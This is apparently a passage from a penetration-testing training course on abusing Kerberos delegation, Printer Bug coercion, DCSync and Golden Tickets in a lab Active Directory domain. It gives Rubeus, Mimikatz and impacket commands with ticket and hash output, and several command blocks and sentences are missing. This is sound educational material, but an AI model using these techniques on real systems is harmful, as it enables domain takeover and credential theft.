with these accounts utilizing hash-mode 13100 ( Kerberos 5, etype 23, TGS-REP ).
Among the 5 Kerberoastable accounts, hashcat found the password for 4: sqlsa , sqlprod ,
sql-test and sqldev .
Kerberos Delegations
The Kerberos protocol allows a user to authenticate to a service to use it, and Kerberos
delegation enables that service to authenticate to another service as the original user. Here
is a small diagram explaining this principle.
In this example, a user authenticates to WEBSRV to access the website. Once authenticated
on the website, the user needs to access information stored in a database, but should not be
given access to all the information within it. The service account managing the website must
communicate with the database using the user's rights so that the database only gives
access to resources that the user has the right to access. This is where delegation comes
into play. The service account, here WEBSRV$ , will pretend to be the user when accessing
the database. This is called delegation .
Unconstrained Delegation
Unconstrained delegation allows a service, here WEBSRV , to impersonate a user when
accessing any other service . This is a very permissive and dangerous privilege,
therefore, not any user can grant it.
For an account to have an unconstrained delegation, on the Delegation tab of the account,
the Trust this computer for delegation to any service (Kerberos only) option
must be selected.
Only an administrator or a privileged user to whom these privileges have been explicitly
given can set this option to other accounts. More specifically, it is necessary to have the
SeEnableDelegationPrivilege privilege to perform this action. A service account cannot
modify itself to add this option. It is important to remember this for the following sections.
Specifically, when this option is enabled, the TRUSTED_FOR_DELEGATION flag is set on the
account in the User Account Control (UAC) flags.
When this flag is set on a service account, and a user makes a TGS request to access this
service, the domain controller will add a copy of the user's TGT to the TGS ticket .
This way, the service account can extract this TGT, and thus make TGS requests to the
Domain Controller using a copy of the user's TGT . The service will therefore have valid
TGS ticket or Service Ticket (ST) as the user and will be able to access any services as
the user .
Constrained Delegation
Since unconstrained delegation is not very restrictive, constrained delegation is another
"more restrictive" type of delegation. This time, a service has the right to impersonate a user
to a well-defined list of services. In this example, WEBSRV can only relay authentication to the
SQL/DBSRV service but not to the others.
While for unconstrained delegation a copy of the user's TGT gets sent to the service
account, this is not the case for constrained delegation. If the service account, here WEBSRV ,
wishes to authenticate to a resource ( SQL/DBSRV ) on behalf of the user, it must make a
special TGS request to the domain controller. Two fields will be modified compared to a
classic TGS request.
The additional tickets field will contain a copy of the TGS ticket or Service Ticket
the user sent to the service.
The cname-in-addl-tkt flag will be set to indicate to the Domain Controller that it
should not use the server information but the ticket information in additional
tickets , i.e., the user's information the server wants to impersonate.
The Domain Controller will then verify that the service has the right to delegate
authentication to the requested resource and that the copy of the TGS ticket or Service
Ticket is forwardable (which is the default but can be disabled if the Account is sensitive
and cannot be delegated flag is set in the user's UAC flags). If all goes well, it will return
a TGS ticket or Service Ticket to the service with the information of the user to be delegated
to consume the final resource.
In this example, the trusted list of the account DBSRV$ contains only the account WEBSRV$ .
Thus, a user will be authorized if
(Get-ADComputer WEBSRV)
The delegation request is the same as for constrained delegation. A TGS request is made by
the service account to access a specific resource. A copy of the user's TGS ticket is
embedded in this request. The Domain Controller will then check that this service is indeed
in the trusted list of the requested resource. If this is the case, it will provide the service with
a TGS ticket to access this resource as the user.
S4U2Proxy
We have already described how S4U2Proxy works. This extension corresponds to the TGS
request made by a service account to impersonate a user. The service account makes this
TGS request to access a specific resource, and a copy of the user's TGS ticket is embedded
in this request. The Domain Controller will then check that the service has the right to
delegate authentication to the requested resource. If this is the case, it will provide the
service with a TGS ticket to access this resource as the user.
S4U2Self
But what happens if a user has authenticated to the service without using Kerberos and
therefore without providing a TGS ticket? This could be the case if the authentication
mechanism uses the NTLM protocol. Well, the S4U2Self extension provides an answer to
this problem.
This step is done before S4U2Proxy since the service account doesn't have any user's TGS
ticket to embed in its request. The S4U2Self extension allows a service to obtain a
forwardable TGS ticket to itself on behalf of an arbitrary user . Thus, when a user
authenticates to the service via NTLM for example, the service will first request a
forwardable TGS to itself on behalf of the user to act as if the user had authenticated via
Kerberos, then once the service has this special TGS ticket, it can make its TGS request to
use the desired resource (S4U2Proxy), embedding the brand new forwardable TGS ticket it
just asked for.
This extension allows delegation even if the authentication protocol is not always the same
between the user and the different services. This is called protocol transition .
It is precisely this feature that can be enabled or disabled in the constrained delegation. If
the Use Kerberos only option is chosen, then the service account cannot do protocol
transition, therefore, cannot use the S4U2Self extension. On the other hand, if the Use any
authentication protocol option is set, then the service account can use the S4U2Self
extension and, therefore, can create a TGS ticket for an arbitrary user .
This option is quite dangerous, and we will see how it can be exploited in the next sections.
Questions
Answer the question(s) below
to complete this Section and earn cubes!
Cheat Sheet
Submit
+ 0 What Active Directory attribute is updated when a service account is added for a
resource-based constrained delegation?
Unconstrained delegation was the only type of delegation available in Windows 2000. If
a user requests a service ticket on a server with unconstrained delegation enabled, the
user's Ticket Granting Ticket (TGT) is embedded into the service ticket that is then presented
to the server.
The server can cache this ticket in memory and then pretend to be that user for subsequent
resource requests in the domain. If unconstrained delegation is not enabled, only the user's
Ticket Granting Service (TGS) ticket will be stored in memory. In this case, if the machine is
compromised, an attacker could only access the resource specified in the TGS ticket in that
user's context.
Rubeus is the go-to tool for this attack. As a local administrator, Rubeus can be run to
monitor stored tickets. If a TGT is found within a TGS ticket, Rubeus will display it to us.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
A few moments later, Sarah Lafferty connects to the compromised server. Rubeus
retrieves Sarah's copy of the TGT that was embedded in her TGS ticket and displays it to us
encoded in base64.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFmTCCBZWgAwIBBaEDAgEWooIEgjCCBH5hggR6MIIEdqADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUlHSFQuTE9DQUyjggQsMIIE
KKADAgESoQMCAQKiggQaBIIEFr7cTE+mYOQsYF69H0dnaQwX2Iy/dB0k91uEBGQh/Dk0lm12Pz
kVgX<SNIP>
Thanks to PowerView , we can list the groups to which Sarah belongs. She happens to be in
the Domain Admins group. So we have the TGT of a Domain Admin now.
Group Enumeration
usncreated : 12348
grouptype : GLOBAL_SCOPE, SECURITY
samaccounttype : GROUP_OBJECT
samaccountname : Domain Users
whenchanged : 7/26/2020 8:14:37 PM
<SNIP>
So we will use this TGT to access the Domain Controller's CIFS service, for example. The
/ptt option/flag is used to pass the received ticket into memory so that it can be used for
future requests.
Note: We can also use the commnad net view \\COMPUTERNAME to identify available
shares.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFyDCCBcSgAwIBBaEDAgEWooIErTCCBKlhggSlMIIEoaADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9D
QUyiKzApoAMCAQKhIjAgGwRjaWZzGxhkYzAxLklOTEFORUZSRUlHSFQubG9jYWyjggRUMIIEUK
ADAgES
oQMCAQOiggRCBIIEPrCawPV<SNIP>
ServiceName : cifs/dc01.INLANEFREIGHT.local
ServiceRealm : INLANEFREIGHT.LOCAL
UserName : sarah.lafferty
UserRealm : INLANEFREIGHT.LOCAL
StartTime : 8/14/2020 4:21:49 AM
EndTime : 8/14/2020 2:06:37 PM
RenewTill : 8/21/2020 4:06:37 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : zRzk0ldsF4rb7p7/MlfRkhOzkjIHL4DSok1vXYS3lt8=
In case the above command doesn't work, we can also use the renew action to get a brand
new TGT instead of a TGS ticket:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
doIGHDCCBhigAwIBBaEDAgEWooIFCDCCBQRhggUAMIIE/KADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9D<SNIP>.
Once we have the TGS or the TGT we can effectively list the contents of the Domain
Controller file system as shown in the following command.
Directory of \\dc01.inlanefreight.local\c$
We could also get a TGS ticket for the LDAP service and ask for synchronization with the DC
to get all the users' password hashes.
In other words, the Printer Bug flaw can be leveraged to coerce a server to authenticate
back to an arbitrary host. It can be combined with unconstrained delegation to force a
Domain Controller to authenticate to a host we control. For example, if we can gain control of
SQL01 in the example above, then we may coerce DC01 to authenticate back to the
compromised host and retrieve the TGT for DC01 . Using this TGT, we would then be able to
gain full access to DC01 and perform attacks such as DCSync to compromise the domain. If
the Domain Controller(s) do not have the spooler service running, we can use this against
any other computer in the domain and craft silver tickets with Rubeus , using the computer's
account TGT. Silver tickets will be discussed later in this module.
This attack can be performed using SpoolSample PoC, which is used to coerce Windows
hosts to authenticate to other hosts via the MS-RPRN RPC interface.
Let's walk through an example using SQLO1 and DC01 in our lab. In a scenario where a
compromised host configured with unconstrained delegation has the spool service running,
in this case, the Domain Controller, the SpoolSample tool can be combined with Rubeus to
monitor for logon events and capture the TGT of the target host.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
With Rubeus running in monitor mode, we then attempt to trigger the Printer Bug from the
same host (SQL01) by running the SpoolSample tool in another console window. The
syntax for this tool is SpoolSample.exe <target server> <caputure server> , where the
target server in our example lab is DC01 and the capture server is SQL01 .
If everything works as expected, we will get the above confirmation message from the tool.
Switching back to the console running Rubeus in monitor mode, we retrieved the TGT from
the DC01$ account, which is the Domain Controller machine account.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCBFVhggRRMIIETaADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUl<SNIP>
We can use this ticket to get a new valid TGT in memory using the renew option in Rubeus .
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
Credentials:
Hash NTLM: 0fcb586d2aec31967c8a310d1ac2bf50
ntlm- 0: 0fcb586d2aec31967c8a310d1ac2bf50
ntlm- 1: cf3a5525ee9414229e66279623ed5c58
lm - 0: 2fd05b1ff89bfeed627937845f3bc535
lm - 1: 3cf0c818426269923b3a993b071b81d5
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : e27b6e4d84697eb7cf50dc6d0efdb226
* Primary:Kerberos-Newer-Keys *
Default Salt : INLANEFREIGHT.LOCALsarah.lafferty
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
ba5b9b6850a1aea865ab1a7fdc895d1e27f39c327b8f7d4c96132b4438727386
aes128_hmac (4096) : bee242dbe9cb898c67b8075e13384b22
des_cbc_md5 (4096) : 029e1c2af1237351
OldCredentials
aes256_hmac (4096) :
13b57fa4a6c0f4adce4b1d85e64a909d35dce98736909f370154f9bd08b8bc67
aes128_hmac (4096) : 1fdbc782bcdfcd692923dc54785d5ee1
des_cbc_md5 (4096) : ba677a73a82a2a9e
* Primary:Kerberos *
Default Salt : INLANEFREIGHT.LOCALsarah.lafferty
Credentials
des_cbc_md5 : 029e1c2af1237351
OldCredentials
des_cbc_md5 : ba677a73a82a2a9e
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 966bec5d60500f0e964fb78be94cc0a8
02 1abbf4255613844082376a5288cfcfb2
03 c74c93a52310d2a88581ffb075aeff33
<SNIP>
We can capture any account's hash, such as the Administrator account, and then we can
use Rubeus or Mimikatz to get a ticket from the compromised account. For example, let's
take Sarah' hash 0fcb586d2aec31967c8a310d1ac2bf50 and create a ticket with it:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
Directory of \\dc01.inlanefreight.local\c$
Next Steps
This example shows how effective and relatively easy unconstrained delegation can be
combined with the Printer Bug to achieve full domain compromise. The next section will
show how to attack users configured for unconstrained delegation from a Linux attack box.
Users in Active Directory can also be configured for unconstrained delegation, and it's quite
different to exploit. To get a list of user accounts with this flag set, we can use the PowerView
function
If we somehow managed to compromise this account (i.e., sqldev ), we also need to be
able to update its SPN list, so we need an account with
We can verify if the DNS record has been created using nslookup .
Then we add a crafted SPN to our target account using addspn.py . The SPN must be
CIFS/dns_entry , so in our case, we use the option -s followed by
CIFS/roguecomputer.inlanefreight.local . CIFS stands for Common Internet File
System, equivalent to SMB. The option
sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
Note: If we execute krbrelayx.py from PwnBox it will get an error for the HTTP server, as
PwnBox by default use this port. Even if we have this error, it will not affect the use of the
tool for this case.
Then we leverage the printer bug. We can use dementor.py or printerbug.py available with
krbrelayx.
This triggered an authentication attempt from DC01 to our attacking host, and the tool
automatically extracted the TGT embedded inside the TGS ticket.
Finally, we can use impacket to use this ticket by exporting its path in the KRB5CCNAME
environment variable and then using secretsdump.py to perform a DCSync attack.
[-] Policy SPN target name validation might be restricting full DRSUAPI
dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
INLANEFREIGHT.LOCAL\Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3
a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:810d754e118439bab1e1d132161502
99:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0:::
daniel.carter:1109:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e6627
9623ed5c58:::
sqldev:1110:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5
c58:::
sqlprod:1111:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed
5c58:::
sqlqa:1112:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c
58:::
svc-
backup:1113:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5
c58:::
svc-
scan:1114:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c5
8:::
<SNIP>
Note: Use the command unset KRB5CCNAME to unset the value of the environment variable
KRB5CCNAME
Wrap-up
Unconstrained delegation should be avoided in modern Active Directory environments in
favor of constrained or resource-based constrained delegation wherever possible. However,
some applications may not work with constrained delegation, and if unconstrained
delegation is an absolute necessity, steps can be taken to reduce the risk. Sensitive
accounts can be marked as Sensitive and cannot be delegated or be placed into the
Protected User group. This group blocks its members from being used for Kerberos
delegation and will keep their TGTs off hosts after they authenticate.
Constrained delegation was first introduced with Windows Server 2003 and it was
intended to restrict the services that a server can impersonate a user for, giving
administrators the ability to specify application trust boundaries.
What can an attacker do if they compromise an account with a constrained delegation set?
Abuse Any Service
In order to understand this section, it is necessary to recall the structure of the
On the other hand, if the service account exposes several services, then the attacker can
modify the SPN to access a different service exposed by that account.
This is very often the case with machine accounts. These are all service accounts that
expose multiple services, such as CIFS, SPOOLER, or TERMSRV. An exhaustive list is
available on the Microsoft site.
The limitation of this attack is that it is necessary to wait for a user to authenticate to the
compromised service account. It is not always obvious that a privileged user logs in
regularly.
We can use the S4U2Self extension if protocol transition is enabled. It allows a service to
obtain a forwardable service ticket to itself on behalf of any user .
Since we can retrieve a TGS ticket as any user, we can perform the previous attack without
waiting for anyone's authentication.
logoncount : 35
badpasswordtime : 12/31/1600 6:00:00 PM
distinguishedname :
CN=DMZ01,CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
objectclass : {top, person, organizationalPerson,
user...}
badpwdcount : 0
lastlogontimestamp : 3/23/2023 10:09:29 AM
objectsid : S-1-5-21-1870146311-1183348186-593267556-
1118
samaccountname : DMZ01$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : DMZ01
accountexpires : NEVER
whenchanged : 3/30/2023 2:51:35 PM
instancetype : 4
usncreated : 12870
objectguid : eaebb114-2638-40ec-9617-8715c4d3057a
operatingsystem : Windows Server 2019 Standard
operatingsystemversion : 10.0 (17763)
lastlogoff : 12/31/1600 6:00:00 PM
msds-allowedtodelegateto : {www/WS01.INLANEFREIGHT.LOCAL, www/WS01}
objectcategory :
CN=Computer,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : {WSMAN/DMZ01,
WSMAN/DMZ01.INLANEFREIGHT.LOCAL, TERMSRV/DMZ01,
TERMSRV/DMZ01.INLANEFREIGHT.LOCAL...}
lastlogon : 4/1/2023 10:02:15 AM
iscriticalsystemobject : False
usnchanged : 41084
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT,
TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 10/14/2022 12:10:03 PM
primarygroupid : 515
pwdlastset : 3/23/2023 10:20:32 AM
msds-supportedencryptiontypes : 28
name : DMZ01
dnshostname : DMZ01.INLANEFREIGHT.LOCAL
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::msv
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFMDCCBSygAwIBBaEDAgEWooIEMjCCBC5hggQqMIIEJqADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9D
QUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUlHSFQuTE9DQUyjggPcMIID2KADAg
ESoQMC
<SNIP>
doIGJDCCBiCgAwIBBaEDAgEWooIFEDCCBQxhggUIMIIFBKADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9D
QUyiEzARoAMCAQGhCjAIGwZTUUwwMSSjggTPMIIEy6ADAgESoQMCAQGiggS9BIIEuY/s7XKb3z
ZMjzGB
<SNIP>
doIG/jCCBvqgAwIBBaEDAgEWooIF4DCCBdxhggXYMIIF1KADAgEFoRUbE0lOTEFORUZSRUlHSF
QuTE9D
QUyiKzApoAMCAQKhIjAgGwRodHRwGxhXUzAxLmlubGFuZWZyZWlnaHQubG9jYWyjggWHMIIFg6
ADAgES
<SNIP>
Finally, it uses this TGS ticket to perform a S4U2Proxy request and will update the SPN to
match what we requested, which is the HTTP service.
PS C:\Tools> klist
[ws01.inlanefreight.local]: PS
C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator
Questions
Note: If the connection to the target machine fails, wait 2 or 3 minutes and try again.
Next Section
In the following section, we will explore attacking constrained delegation from Linux.
Constrained Delegation from Linux
Linux
Using impacket 's findDelegation.py, we can find the accounts with delegation privileges.
findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine
We will assume that we have already compromised the account beth.richards . This
account has constrained delegation with protocol transition set, and the only allowed service
for delegation is TERMSRV/DC01.INLANEFREIGHT.LOCAL .
Using the getST.py tool from impacket , we can craft a valid TGS from an arbitrary user to
access the TERMSRV service on the DC01 host.
Using getST
This will generate a ticket and save it as Administrator.ccache in the current directory.
Once we have this valid ticket to access the TERMSRV service on DC01 as Administrator ,
we can use it with psexec.py from impacket , after exporting its path to the environment
variable KRB5CCNAME . This tool will update the SPN in this TGS on the fly to get an
interactive shell. The -debug flag is added on purpose so you can see what's going on.
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
C:\Windows\system32>whoami
nt authority\system
Reading this output, we can see that multiple times, Impacket is looking for a ticket for a
specific SPN, but it can't find it.
So it keeps looking for other tickets compatible with the target's service account.
Once it finds one, it updates the SPN to the one it's looking for, which here is
CIFS/[email protected] .
C:\Windows\system32>whoami
nt authority\system
Next Section
We only need to learn one more of the three delegations available, Resource-Based
Constrained Delegation . In the following sections, we will explore how to abuse this
delegation from Windows and Linux.
If the security descriptor of the backend service matches that of the frontend service, then
access will be granted. RBCD works regardless of the domain functional level but does
require at least one Domain Controller running Windows Server 2012 or later in the same
domain as both the backend and frontend servers.
Windows
To carry out attacks against RBCD, we require two elements:
1. Access to a user or group that has privileges to modify the msDS-
AllowedToActOnBehalfOfOtherIdentity property on a computer. This is commonly
possible if the user has GenericWrite , GenericAll , WriteProperty , or WriteDACL
privileges on a computer object.
2. Control of another object that has an SPN.
The following PowerShell script will check the computers in the domain and users that have
the required access rights (element number 1) on them.
Search RBCD
if ($hasAccess) {
Write-Output "$($user.SamAccountName) has the required access
rights on $($computer.Name)"
}
}
}
RBCD Enumeration
PS C:\Tools> .\SearchRBCD.ps1
We already have the user carole.holmes who has privileges on DC01 . The simplest way to
obtain an object with SPN is to use a computer. We can use a computer on which we
already have administrator privileges, or if we do not have such rights, we could create a
fake computer. Let's use the 2nd approach.
Then, we add this computer account to the trust list of the targeted computer, which is
possible because the attacker has GenericAll ACL on this computer:
We can ask for a TGT for the created computer account, followed by a S4U2Self request to
get a forwardable TGS ticket, and then a S4U2Proxy to get a valid TGS ticket for a specific
SPN on the targeted computer. But first, let's get the NT hash of our computer account.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
Now that we have our newly created computer account's password hash, we request a TGS
ticket for the service cifs/dc01.inlanefreight.local , allowing us to access the target
using WinRM.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFWjCCBVagAwIBBaE<SNIP>
doIGEjCCBg6gAwIBBaED<SNIP>
[*] Impersonating user 'administrator' to target SPN
'cifs/dc01.inlanefreight.local'
[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL
(fe80::c872:c68d:a355:e6f3%11)
[*] Building S4U2proxy request for service:
'cifs/dc01.inlanefreight.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01.inlanefreight.local':
doIHEDCCBwygAwIBBaEDA<SNIP>
PS C:\Tools> klist
PS C:\Tools> ls \\dc01.inlanefreight.local\c$
Directory: \\dc01.inlanefreight.local\c$
Clear Attribute
Check out Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack
Active Directory from Shenanigans Labs for more insights on abusing RBCD (please note
that the blog post uses the old link for harmj0y 's blog "http://www.harmj0y.net/blog",
instead, use blog.harmj0y.net).
Following up
We can use other services to connect to our target and perform the operations we need.
In the next section we will see how to perform this attack from Linux.
Linux
First, we need to create a computer account, which is possible because ms-DS-
MachineAccountQuota is set to 10 by default for authenticated users. The addcomputer.py
script from impacket can be used for this.
Password:
[*] Successfully added machine account HACKTHEBOX$ with password
Hackthebox123+!.
Note: We can use BloodHound.py to enumerate the domain, searching for privileges to
abuse for RBCD from Linux. However, we will use the same example as the previous
section.
Then, we need to add this account to the targeted computer's trust list, which is possible
because carole.holmes has GenericAll ACL on this computer. We can use the rbcd.py
Python script to do so.
We can ask for a TGT for the created computer account, followed by a S4U2Self request to
get a forwardable TGS ticket, and then a S4U2Proxy request to get a valid TGS ticket for a
specific SPN on the targeted computer.
We then will use this TGS ticket by exporting the ticket's path to the KRB5CCNAME
environment variable.
export KRB5CCNAME=./Administrator.ccache
Then you can use any impacket tool with this ticket, such as psexec.py, to get a remote shell
as SYSTEM.
Connect as Administrator
psexec.py -k -no-pass dc01.inlanefreight.local
C:\Windows\system32> whoami
nt authority\system
Note: Make sure to configure /etc/hosts with the target IP and the domain name
dc01.inlanefreight.local
Next Sections
We learned many new concepts about how delegation works in Kerberos and how we can
abuse improper configurations and insecure practices.
In the following sections, we will see how to create Golden Tickets and Silver Tickets and
perform attacks using them.
Golden Ticket
The Golden Ticket attack enables attackers to forge and sign TGTs (Ticket Granting
Tickets) using the krbtgt account's password hash. When these tickets get presented to an
AD server, the information within them will not be checked at all and will be considered valid
due to being signed with krbtgt account's password hash. For example, it is possible to
sign a ticket for a user that does not exist, such as DoesNotExist , have the ticket also say
they are a Domain Administrator, and request a TGS (Ticket Granting Service) ticket which
enables them to access remote machines. For stealth reasons, it is almost always better to
utilize users that exist in the domain. However, putting fake information in the ticket can be a
great way to show the impact and the lack of monitoring an organization has around these
events.
One of the scariest things about the Golden Ticket attack is how often pentesters will gain
access to this key; when performing DCSYNC (using Mimikatz ) or SecretsDump (using
Impacket ), the key is KRBTGT's NTLM hash. This account is special because changing its
password has to be done twice and cannot be done in rapid succession. The AD Forest must
reach full convergence, meaning the change has to replicate across the entire domain
before it can be changed again. This is because this key is used for Domain Controllers to
authenticate with each other! It should happen within 10 hours, but organizations typically
wait 24 hours to minimize the chance of any issue. Within that time Window, if the attacker
notices it changed and they grab it again, the process will have to be repeated.
Theory
Following the TGT request ( AS-REQ ), the Domain Controller sends the user back their
TGT. The TGT is a piece of data that contains information about the user. All this information
is contained in the PAC ( Privilege Attribute Certificate ).
The PAC is copied into each TGS ticket so that service accounts know who they are dealing
with. Therefore, this information must be adequately protected so users cannot arbitrarily
change it.
Domain Controllers use the key of the krbtgt account to encrypt TGTs; therefore, it is
necessary to know the password of this account to modify a TGT. Within any AD
environment, krbtgt is the most sensitive and vital account since it ensures that users
belong to their appropriate/specific groups.
This account is simple, without any particular rights, and by default, is deactivated. This low
exposure better protects it.
But what happens if an attacker steals the secret of the krbtgt account? Well, they can
decipher any TGT, thus the PAC within it, arbitrarily modify its information (for example, by
making it look like a user belongs to the Domain Admins group) and encrypt it again using
the secret of krbtgt . This forged ticket is called a Golden Ticket .
Using a Pass the Ticket attack, we can import the golden ticket to the current session to
use tools in the context of the impersonated account. As an attacker, you can forge a ticket
to impersonate a sensitive user, who, although privileged in access, may not be a member of
heavily monitored groups, such as Domain Admins and Enterprise Admins .
Windows
Different elements are needed to forge a Golden Ticket:
1. Domain Name
2. Domain SID
3. Username to Impersonate
4. KRBTGT's hash
We already know the domain name; let's get the domain's SID by using Get-DomainSID
from PowerView :
S-1-5-21-2974783224-3764228556-2640795941
Then, we need to have a compromised krbtgt account one way or another to get its NTLM
hash. We can use mimikatz to forge a Golden Ticket when we have this information. If we
compromised an account with DCSync privileges, we can use mimikatz to get the krbtgt
hash using the following command:
PS C:\Tools> .\mimikatz.exe
** SAM ACCOUNT **
Credentials:
Hash NTLM: 810d754e118439bab1e1d13216150299
ntlm- 0: 810d754e118439bab1e1d13216150299
<SNIP>
User : Administrator
Domain : inlanefreight.local (INLANEFREIGHT)
SID : S-1-5-21-2974783224-3764228556-2640795941
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 810d754e118439bab1e1d13216150299 - rc4_hmac_nt
Lifetime : 8/17/2020 2:52:10 PM ; 8/15/2030 2:52:10 PM ; 8/15/2030
2:52:10 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
As we see on the last line (before exit), the Golden Ticket has been created and submitted
for the current session. We can double-check this using the klist command.
PS C:\Tools> klist
So now have a valid TGT indicating we are Administrator and stating that we belong to
several groups, including Domain Admins . If we need to request a service, we'll ask for a
TGS ticket using this TGT, and a copy of the forged PAC will be embedded in the TGS ticket.
For example, if we want to access a server using WinRM, we'll have a remote shell as
Administrator .
inlanefreight\administrator
And if we come back to our original shell, we can see that we now have a TGS ticket for the
HTTP/dc01 SPN as Administrator .
Next Section
In the following section will see how to create a golden ticket from Linux.
Linux
On the Linux side, impacket can be used to craft a Golden Ticket . lookupsid.py will help
us retrieve the domain SID and every group and user SID.
Search for the Domain SID with lookupsid
Password:
[*] Brute forcing SIDs at dc01.inlanefreight.local
[*] StringBinding ncacn_np:dc01.inlanefreight.local[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2974783224-3764228556-2640795941
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\Administrator (SidTypeUser)
501: INLANEFREIGHT\Guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
503: INLANEFREIGHT\DefaultAccount (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
<SNIP>
Once we have the domain SID, we can craft a Golden Ticket using ticketer.py.
The ticket has been forged and saved in the current directory as Administrator.ccache .
We can now use this ticket by importing it in KRB5CCNAME environment variable and using
any impacket tool with the -k parameter.
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local
C:\Windows\system32>whoami
nt authority\system
Detection
This type of persistence is challenging to detect because Golden Tickets are valid TGTs.
Windows event logs don’t distinguish between a legitimate TGT and a maliciously crafted
Golden Ticket. Also, resetting the impersonated account’s password does not invalidate the
ticket.
Golden tickets are usually created with a much longer lifespan than tickets have by default
(Mimikatz makes golden tickets with a default lifespan of 10 years). Certain AD monitoring
products can detect these long ticket lifespans as IoCs.
